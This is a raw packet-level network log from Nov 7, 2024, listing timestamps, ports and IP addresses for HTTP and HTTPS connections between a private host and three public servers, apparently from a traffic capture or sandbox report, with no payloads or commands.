Nov 7, 2024 06:01:27.367609978 CET	443	49897	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.368920088 CET	49898	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.368941069 CET	443	49898	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.370598078 CET	49899	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.370637894 CET	443	49899	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.370693922 CET	49899	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.370853901 CET	49899	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.370863914 CET	443	49899	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.371512890 CET	49900	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.371546984 CET	443	49900	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.371612072 CET	49900	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.371761084 CET	49900	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.371778965 CET	443	49900	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.371905088 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.371932983 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.372011900 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.372283936 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.372297049 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.387697935 CET	443	49896	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.387732983 CET	443	49896	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.387770891 CET	443	49896	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.387784004 CET	49896	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.388073921 CET	49896	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.388075113 CET	49896	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.388092995 CET	443	49896	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.388104916 CET	49896	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.388111115 CET	443	49896	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.394571066 CET	49902	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.394598961 CET	443	49902	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.394903898 CET	49902	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.395096064 CET	49902	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:27.395107031 CET	443	49902	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:27.437850952 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.437875986 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.437889099 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.437901974 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.437912941 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.437916040 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.437953949 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.437963009 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.437968016 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.437978029 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.437989950 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.437998056 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438003063 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438028097 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438055038 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438313007 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438327074 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438338041 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438349009 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438374996 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438446045 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438479900 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438517094 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438529015 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438541889 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438558102 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438570023 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438610077 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438791990 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438829899 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438879967 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438891888 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438903093 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438921928 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438925982 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438937902 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438949108 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438960075 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438967943 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438980103 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.438992977 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.438993931 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439001083 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.439033985 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.439829111 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439841032 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439851046 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439868927 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439882040 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439886093 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.439893961 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439905882 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.439908981 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439920902 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439923048 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.439933062 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439944983 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439951897 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.439959049 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.439977884 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.439995050 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.441788912 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.441801071 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.441812992 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.441824913 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.441836119 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.441848040 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.441848040 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.441864967 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.441869020 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.441880941 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.441883087 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.441893101 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.441901922 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.441917896 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.441936970 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.560635090 CET	49903	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.560684919 CET	443	49903	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.560756922 CET	49903	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.562383890 CET	49903	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.562402010 CET	443	49903	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.591921091 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.591938019 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.591949940 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.591970921 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.591981888 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.591994047 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.591995001 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.592041969 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.592343092 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592562914 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592586040 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592598915 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592609882 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592619896 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.592622995 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592634916 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592641115 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.592648983 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592659950 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592660904 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.592672110 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592677116 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.592684031 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592696905 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592708111 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592710972 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.592721939 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592735052 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.592736006 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.592756033 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.592771053 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593017101 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593034983 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593046904 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593058109 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593061924 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593074083 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593076944 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593091965 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593115091 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593303919 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593348980 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593357086 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593360901 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593381882 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593401909 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593410015 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593413115 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593425989 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593432903 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593441963 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593450069 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593466043 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593481064 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593533993 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593544960 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593555927 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593566895 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593575001 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593580008 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593590975 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593604088 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593604088 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593617916 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.593621969 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593637943 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.593667030 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594331026 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594376087 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594415903 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594428062 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594440937 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594450951 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594456911 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594464064 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594475985 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594479084 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594490051 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594500065 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594505072 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594512939 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594522953 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594522953 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594537973 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594541073 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594551086 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594561100 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594564915 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594575882 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594578981 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594590902 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594592094 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.594610929 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.594625950 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.595349073 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595360994 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595374107 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595385075 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595405102 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595416069 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.595443964 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.595484972 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595496893 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595506907 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595519066 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595521927 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.595531940 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595545053 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595546007 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.595556974 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595568895 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.595571995 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595585108 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595597029 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.595598936 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.595617056 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.595633030 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.596375942 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596388102 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596400023 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596410036 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596421957 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596432924 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596443892 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596443892 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.596462965 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596479893 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596481085 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.596492052 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596503973 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596512079 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.596515894 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596529007 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.596530914 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596543074 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596553087 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.596556902 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.596579075 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.596592903 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.597224951 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.597238064 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.597249031 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.597285986 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.597302914 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.747931004 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.747956038 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.747972965 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.747982979 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.747993946 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.747994900 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748006105 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748018026 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748032093 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748034000 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748044014 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748066902 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748091936 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748121977 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748157978 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748182058 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748192072 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748203993 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748214006 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748218060 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748230934 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748230934 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748261929 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748275042 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748301983 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748347998 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748351097 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748359919 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748392105 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748408079 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748431921 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748485088 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748514891 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748524904 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748539925 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748550892 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748559952 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748559952 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748577118 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748586893 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748594999 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748600006 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748608112 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748620033 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748629093 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748631954 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748645067 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748648882 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748656988 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748668909 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748673916 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748680115 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748692989 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748697996 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748708963 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748711109 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748723030 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748738050 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748742104 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748753071 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748761892 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748764992 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748780966 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748780966 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748794079 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748806953 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748811007 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748833895 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748847961 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748858929 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748871088 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748889923 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748900890 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748908043 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748914003 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748924971 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748935938 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748955011 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748981953 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.748986006 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.748996973 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.749006987 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.749017954 CET	80	49891	185.215.113.16	192.168.2.4
